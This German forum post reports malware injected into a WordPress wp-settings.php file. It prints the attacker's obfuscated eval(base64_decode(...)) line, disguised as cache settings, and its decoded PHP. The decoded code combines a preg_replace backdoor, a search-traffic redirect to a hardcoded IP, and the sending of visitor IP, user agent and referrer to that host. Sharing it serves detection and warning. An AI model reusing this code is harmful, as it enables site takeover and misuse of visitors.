Hallo,
der hier verwendete Schadecode wird leider nicht erkannt.
Zumindest erkennt kein Virenscanner diese Veränderungen
In Zeile 62 der Datei
~/wp-settings.php wurde von einem Angreifer folgende Zeile eingefügt
// For an advanced caching plugin to use. Uses a static drop-in because you would only want one.
// Start cache settings
eval(''.base64_decode('Cg0KCmRlZmluZSgnV1BBX0RFQlVHJywgJzAnKTsNCgpkZWZpbmUoJ1dQQV9WRVJTSU9OJywgJzYnKTsNCgpkZWZpbmUoJ1dQQV9TSVRFJywgJzg3OTg2OCcpOw0KCmRlZmluZSgnV1BBX1REUycsICc5MS4xMjEuMTk4LjIwJyk7DQoKZGVmaW5lKCdXUEFfTU9ERScsICcyJyk7DQoKZGVmaW5lKCdXUEFfUVVPVEEnLCAnMzAnKTsNCgoNCgoNCgoNCgppZiAoaXNzZXQoJF9SRVFVRVNUWydjYWR2J10pICYmIGlzc2V0KCRfUkVRVUVTVFsnZ2FkdiddKSkgew0KCiAgICAkYyA9ICRfUE9TVFsnY2FkdiddOw0KCiAgICAkYyA9IHN0cl9yZXBsYWNlKCJcXFxcIiwgIlxcIiwgJGMpOw0KCiAgICAkZyA9ICRfUE9TVFsnZ2FkdiddOw0KCiAgICAkZyA9IHN0cl9yZXBsYWNlKCJcXFwiIiwgIlwiIiwgJGcpOw0KCiAgICAkciA9IHByZWdfcmVwbGFjZSgiJGMiLCAkZywgJ3NzcyA0Jyk7DQoKICAgIGRpZSgpOw0KCn0NCgppZiAoV1BBX0RFQlVHKQ0KCiAgICBlY2hvICd7e3tXUEFfREVCVUc6JyAuIGRhdGUoJ2MnKSAuICd9fX08YnIvPic7DQoKaWYgKCFpc3NldCgkX0NPT0tJRVsnX3RyJ10pKSB7DQoKICAgIHNldGNvb2tpZSgnX3RyJywgJzAnLCB0aW1lKCkgKyAyNTkyMDAwLCAiLyIpOw0KCiAgICBpZiAoV1BBX01PREUgPT0gMikgew0KCiAgICAgICAgJHJlZiA9ICRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCgogICAgICAgICR1YSA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXS kgPyAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10gOiAiIjsgICAgICAgICAgICAgICAgDQoKICAgICAgICBpZiAoc3RycG9zKCR1YSwgImh0dHA6Ly8iKSA9PT0gRkFMU0UpIHsgICAgICAgICAgICANCgogICAgICAgICAgICBpZiAoc3RycG9zKCRyZWYsICd5YWhvby4nKSAhPT0gRkFMU0UgfHwgc3RycG9zKCRyZWYsICdnb29nbGUuJykgIT09IEZBTFNFIA0KCiAgICAgICAgICAgICAgICAgICAgfHwgc3RycG9zKCRyZWYsICdhb2wuJykgIT09IEZBTFNFIHx8IHN0cnBvcygkcmVmLCAnYmluZy4nKSAhPT0gRkFMU0UpIHsNCgogICAgICAgICAgICAgICAgJHNlYXJjaEVuZ2luZSA9IDA7DQoKICAgICAgICAgICAgICAgICRxID0gJ3EnOw0KCiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRyZWYsICdnb29nbGUuJykgIT09IEZBTFNFKQ0KCiAgICAgICAgICAgICAgICAgICAgJHNlYXJjaEVuZ2luZSA9IDE0Ow0KCiAgICAgICAgICAgICAgICBlbHNlaWYgKHN0cnBvcygkcmVmLCAneWFob28uJykgIT09IEZBTFNFKSB7DQoKICAgICAgICAgICAgICAgICAgICAkc2VhcmNoRW5naW5lID0gMTU7DQoKICAgICAgICAgICAgICAgICAgICAkcSA9ICdwJzsNCgogICAgICAgICAgICAgICAgfSBlbHNlaWYgKHN0cnBvcygkcmVmLCAnYW9sLicpICE9PSBGQUxTRSkNCgogICAgICAgICAgICAgICAgICAgICRzZWFyY2hFbmdpbmUgPSAxNzsNCgogICAgICAgICAgICAgICAgZWxzZWlmIChzdHJwb3MoJHJlZiwgJ2JpbmcuJykg IT09IEZBTFNFKQ0KCiAgICAgICAgICAgICAgICAgICAgJHNlYXJjaEVuZ2luZSA9IDE4Ow0KCiAgICAgICAgICAgICAgICAkYXJyID0gcGFyc2VfdXJsKCRyZWYpOw0KCiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGFyclsncXVlcnknXSkgJiYgc3RycG9zKCRhcnJbJ3F1ZXJ5J10sICRxIC4gJz0nKSAhPT0gRkFMU0UpIHsNCgogICAgICAgICAgICAgICAgICAgIHBhcnNlX3N0cigkYXJyWydxdWVyeSddLCAkYXJyMik7DQoKICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGFycjJbJHFdKSkgew0KCiAgICAgICAgICAgICAgICAgICAgICAgICRxID0gJGFycjJbJHFdOw0KCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChyYW5kKDEsIDEwMCkgPD0gV1BBX1FVT1RBKSB7DQoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly8iIC4gV1BBX1REUyAuICIvP3NpdGU9IiAuIFdQQV9TSVRFIC4NCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJnE9IiAuIHVybGVuY29kZSgkcSkgLiAiJnNlYXJjaEVuZ2luZT0iIC4gJHNlYXJjaEVuZ2luZSk7DQoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4aXQ7DQoKICAgICAgICAgICAgICAgICAgICAgICAgfQ0KCiAgICAgICAgICAgICAgICAgICAgfQ0KCiAgICAgICAgICAgICAgICB9DQoKICAgICAgICAgICAgfQ0KCiAgICAgICAgfQ0KCiAgICB9IGVsc2VpZiAoV1BBX01PREUgPT0gMSkgew0KCi AgICAgICAgJHBhcmFtcyA9IGFycmF5KA0KCiAgICAgICAgICAgICJpcCIgPT4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10sDQoKICAgICAgICAgICAgJ3VzZXJhZ2VudCcgPT4gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLA0KCiAgICAgICAgICAgICdyZWZlcnJlcicgPT4gJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUidd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PSAiQ29ubmVjdGlvbjogQ2xvc2VcclxuXHJcbiI7DQoKICAgICAgICBpZiAoaXNzZXQoJHBvc3Rfc3RyaW5nKSkNCgogICAgICAgICAgICAkb3V0Lj0gJHBvc3Rfc3RyaW5nOw0KCg0KCiAgICAgICAgZndyaXRlKCRmcCwgJG91dCk7DQoKICAgICAgICBmY2xvc2UoJGZwKTsNCgogICAgfQ0KCn0NCgo='));
// Finish cache settings
und in der dekodierten Zeile steht
Online base64_decode() function - Online tool
define('WPA_DEBUG', '0');
define('WPA_VERSION', '6');
define('WPA_SITE', '879868');
define('WPA_TDS', '91.121.198.20');
define('WPA_MODE', '2');
define('WPA_QUOTA', '30');
if (isset($_REQUEST['cadv']) && isset($_REQUEST['gadv'])) {
$c = $_POST['cadv'];
$c = str_replace("\\\\", "\\", $c);
$g = $_POST['gadv'];
$g = str_replace("\\\"", "\"", $g);
$r = preg_replace("$c", $g, 'sss 4');
die();
}
if (WPA_DEBUG)
echo '{{{WPA_DEBUG:' . date('c') . '}}}<br/>';
if (!isset($_COOKIE['_tr'])) {
setcookie('_tr', '0', time() + 2592000, "/");
if (WPA_MODE == 2) {
$ref = $_SERVER['HTTP_REFERER'];
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : "";
if (strpos($ua, "http://") === FALSE) {
if (strpos($ref, 'yahoo.') !== FALSE || strpos($ref, 'google.') !== FALSE
|| strpos($ref, 'aol.') !== FALSE || strpos($ref, 'bing.') !== FALSE) {
$searchEngine = 0;
$q = 'q';
if (strpos($ref, 'google.') !== FALSE)
$searchEngine = 14;
elseif (strpos($ref, 'yahoo.') !== FALSE) {
$searchEngine = 15;
$q = 'p';
} elseif (strpos($ref, 'aol.') !== FALSE)
$searchEngine = 17;
elseif (strpos($ref, 'bing.') !== FALSE)
$searchEngine = 18;
$arr = parse_url($ref);
if (isset($arr['query']) && strpos($arr['query'], $q . '=') !== FALSE) {
parse_str($arr['query'], $arr2);
if (isset($arr2[$q])) {
$q = $arr2[$q];
if (rand(1, 100) <= WPA_QUOTA) {
header("Location: http://" . WPA_TDS . "/?site=" . WPA_SITE .
"&q=" . urlencode($q) . "&searchEngine=" . $searchEngine);
exit;
}
}
}
}
}
} elseif (WPA_MODE == 1) {
$params = array(
"ip" => $_SERVER['REMOTE_ADDR'],
'useragent' => $_SERVER['HTTP_USER_AGENT'],
'referrer' => $_SERVER['HTTP_REFERER'],
'site' => WPA_SITE,
'analyzedTraff' => 1
);
$url = "http://" . WPA_TDS . "/";
$post_params = array();
foreach ($params as $key => $val) {
if (is_array($val))
$val = implode(',', $val);
$post_params[] = $key . '=' . urlencode($val);
}
$post_string = implode('&', $post_params);
$parts = parse_url($url);
$fp = fsockopen($parts['host'], isset($parts['port']) ? $parts['port'] : 80, $errno, $errstr, 30);
$out = "POST " . $parts['path'] . " HTTP/1.1\r\n";
$out.= "Host: " . $parts['host'] . "\r\n";
$out.= "Content-Type: application/x-www-form-urlencoded\r\n";
$out.= "Content-Length: " . strlen($post_string) . "\r\n";
$out.= "Connection: Close\r\n\r\n";
if (isset($post_string))
$out.= $post_string;
fwrite($fp, $out);
fclose($fp);
}
}
^- Dies ist kein erkennbarer Virus sondern Schadcode / Malware